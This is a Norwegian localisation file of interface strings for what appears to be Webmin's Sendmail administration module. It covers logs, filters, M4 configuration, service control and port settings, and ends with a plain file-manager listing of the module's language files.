log_stop=Stoppet sendmail tjenesten
log_start=Startet sendmail tjenesten
log_delmail=Slettet $1 meldinger fra $2
log_movemail=Flyttet $1 meldinger fra $2 til $3
log_send=Sendt e-post til $1
log_feature_create=Lagt til M4 oppføring $1
log_feature_modify=Endret M4 oppføring $1
log_feature_delete=Slettet M4 oppføring $1
log_feature_move=Flyttet M4 oppføring $1
log_build=Rebuilt sendmail configuration
log_delete_aliases=Slettet $1 alias
log_delete_virtusers=Slettet $1 adresse-tilordninger
log_delete_domains=Slettet $1 domene-tilordninger
log_delete_accesses=Slettet $1 søppelpostkontroll oppføringer
log_delete_generics=Slettet $1 utgående adresser
log_delete_mailers=Slettet $1 domene ruter

match_from=Fra: passer med
match_subject=Emne: passer med
match_to=Til: passer med
match_cc=Kopi: passer med
match_date=Dato: passer med
match_status=Status matcher
match_body=Meldingstekst passer med
match_size=Størr. er større enn
match_headers=Meldingshoder passer med
match_=-----------------
match_!from=Fra: ikke passer med
match_!subject=Emne: ikke passer med
match_!to=Til: ikke passer med
match_!cc=Kopi: ikke passer med
match_!date=Dato: ikke passer med
match_!status=Status matcher ikke
match_!body=Meldingstekst ikke passer med
match_!size=Størr. er mindre enn
match_!headers=Meldingshoder ikke passer med

features_title=Sendmail M4 konfigurasjon
features_desc=Denne siden viser relevante oppføringer i Sendmail M4 konfigurasjonsfilen $1, som den aktive konfigurasjonsfilen $2 genereres fra.
features_type=Oppføringstype
features_value=Line in configuration file
features_type0=Annet
features_type1=Egenskap
features_type2=Definer
features_type3=Avdefiner
features_type4=Mailer
features_type5=OS Type
features_add=Legg til ny oppføring av type:
features_build=Regenerer Sendmail konfigurasjon
features_buildmsg=Klikk på denne knappen for å regenerere din Sendmail konfigurasjonsfil $1 fra M4 konfigurasjonsoppføringene ovenfor.
features_return=M4 konfigurasjon
features_emc=The Sendmail M4 configuration file $2 was not found on your system. Maybe it has not been installed (common for packaged installs of Sendmail), or the <a href='$1'>module config</a> is incorrect.
features_efeatures=The Sendmail M4 configuration base directory $2 was not found on your system, or is not the correct directory. Maybe it has not been installed (common for packaged installs of Sendmail), or the <a href='$1'>module config</a> is incorrect.
features_econfig=The locations of the Sendmail M4 base directory and M4 config file have not been set yet in your <a href='$1'>module configuration</a>. If you have installed Sendmail from the source, these should be under the original source directory.
features_move=Flytt
features_manual=Rediger filen manuelt

feature_add=Legg til konfigurasjonsoppføring
feature_edit=Rediger konfigurasjonsoppføring
feature_header=M4 konfigurasjonsoppføringsdetaljer
feature_text=Konfigurasjonslinje
feature_feat=Egenskap
feature_values=Parametere
feature_def=Definisjon navn
feature_defval=Verdi
feature_defmode1=Satt til ..
feature_defmode0=Avdefiner
feature_mailer=Metode for levering av e-post
feature_ostype=Operativsystem type
feature_old=Current configuration line
feature_err=Kunne ikke lagre konfigurasjonsoppføring
feature_efeat=Egenskapen $1 finnes allerede
feature_edef=Definisjonen $1 finnes allerede
feature_emailer=Maileren $1 finnes allerede
feature_eostype=Denne OS typen er allerede definert som $1
feature_manual=Rediger M4 fil
feature_mdesc=Denne siden lar deg redigere Sendmail M4 konfigurasjonsfilen $1 manuelt. Vær forsiktig, da det ikke vil bli utført noen syntakssjekk på endringene dine.

feat_access_db=Spam kontrollfil
feat_virtusertable=Adresse avbildning
feat_mailertable=Domene ruting
feat_genericstable=Utgående adresser
feat_domaintable=Domene avbildning

mailer_local=Lokal Unix levering

build_title=Regenerer Sendmail konfigurasjon
build_em4=Kommandoen $1 som er nødvendig for regenerering av Sendmail konfigurasjonsfilen ble ikke funnet på systemet ditt.
build_ebuild=Kunne ikke bygge konfigurasjon : $1
build_rusure=Are you sure you want to replace the Sendmail configuration file $1 with a new version built from $2 ?
build_rusure2=Vær oppmerksom på at dersom du har gjort endringer i Sendmail på siden Sendmail Innstillinger, vil en regenerering av konfig filen overskrive disse endringene dersom det ikke er gjort tilsvarende endringer i M4 filen.
build_ok=Ja, erstatt den nå
build_diff=Følgende endringer vil bli gjort i din Sendmail konfigurasjonsfil ..
build_nodiff=Din Sendmail konfigurasjonsfil er allerede oppdatert.

stop_err=Kunne ikek stoppe sendmail
stop_ecannot=Du har ikke tilgang til å stoppe sendmail
stop_epid=Det ser ikke ut til at Sendmail kjører
restart_epids=Kunne ikke finne sendmail prosesser
restart_ekill=Kunne ikke sende signal til sendmail prosesser : $1

start_err=Kunne ikke starte sendmail
start_ecannot=Du har ikke tilgang til å starte sendmail

ports_title=Nettverks-porter
ports_name=Port navn
ports_addr=Lytt på adresse
ports_all=Alle
ports_ip=IP
ports_family=Protokoll
ports_inet=IPv4
ports_inet6=IPv6
ports_port=Lytt på port
ports_opts=Port innstillinger
ports_mod_a=Krev SMTP autentisering
ports_mod_b=Bruk samme grensesnitt for utgående e-post
ports_mod_c=Utfør kanonifisering av vertsnavn
ports_mod_f=Krev fullt kvalifisert vertsnavn
ports_mod_h=Bruk navn på grensesnittet i HELO
ports_mod_C=Ikke utfør kanonifisering av vertsnavn
ports_mod_E=Forby ETRN
ports_def1=Aksepter e-post på port 25 og alle adresser
ports_def0=Motta kun e-post på portene nedefor ..
ports_err=Kunne ikke lagre nettverksporter
ports_ecannot=Du har ikke tilgang til å administrere nettverksporter
ports_ename=Ugyldig portnavn i rad $1
ports_eclash=Duplikat portnavn i rad $1
ports_eaddress=Manglende eller ugyldig IP adresse i rad $1
ports_eport=Manglende eller ugyldig portnummer i rad $1

Filemanager

Name Type Size Permission Actions
af.auto File 38.88 KB 0644
ar.auto File 54.32 KB 0644
be.auto File 64.63 KB 0644
bg.auto File 66.98 KB 0644
ca File 42.42 KB 0644
ca.auto File 292 B 0644
cs File 41.5 KB 0644
cs.auto File 512 B 0644
da.auto File 39.66 KB 0644
de File 43.25 KB 0644
de.auto File 18 B 0644
el.auto File 73.88 KB 0644
en File 37.01 KB 0644
es File 34.65 KB 0644
es.auto File 8.57 KB 0644
eu.auto File 40.03 KB 0644
fa.auto File 58.13 KB 0644
fi.auto File 41.93 KB 0644
fr File 42.05 KB 0644
fr.auto File 4.96 KB 0644
he.auto File 47.53 KB 0644
hr.auto File 40.76 KB 0644
hu File 36.98 KB 0644
hu.auto File 22 B 0644
it.auto File 42.28 KB 0644
ja File 30.51 KB 0644
ja.auto File 19.25 KB 0644
ko File 27.2 KB 0644
ko.auto File 17.02 KB 0644
lt.auto File 42.89 KB 0644
lv.auto File 41.78 KB 0644
ms.auto File 39.75 KB 0644
mt.auto File 42.37 KB 0644
nl File 40.96 KB 0644
nl.auto File 19 B 0644
no File 38.58 KB 0644
no.auto File 19 B 0644
pl File 27.9 KB 0644
pl.auto File 14.97 KB 0644
pt File 20.66 KB 0644
pt.auto File 23.04 KB 0644
pt_BR File 42.59 KB 0644
pt_BR.auto File 428 B 0644
ro.auto File 43.17 KB 0644
ru File 54.79 KB 0644
ru.auto File 11.68 KB 0644
sk.auto File 42.31 KB 0644
sl.auto File 40.1 KB 0644
sv File 23.7 KB 0644
sv.auto File 15.72 KB 0644
th.auto File 77.27 KB 0644
tr File 23.59 KB 0644
tr.auto File 17.26 KB 0644
uk File 53.6 KB 0644
uk.auto File 11.54 KB 0644
ur.auto File 55.2 KB 0644
vi.auto File 48.47 KB 0644
zh File 27.68 KB 0644
zh.auto File 6.73 KB 0644
zh_TW File 18.17 KB 0644
zh_TW.auto File 17.19 KB 0644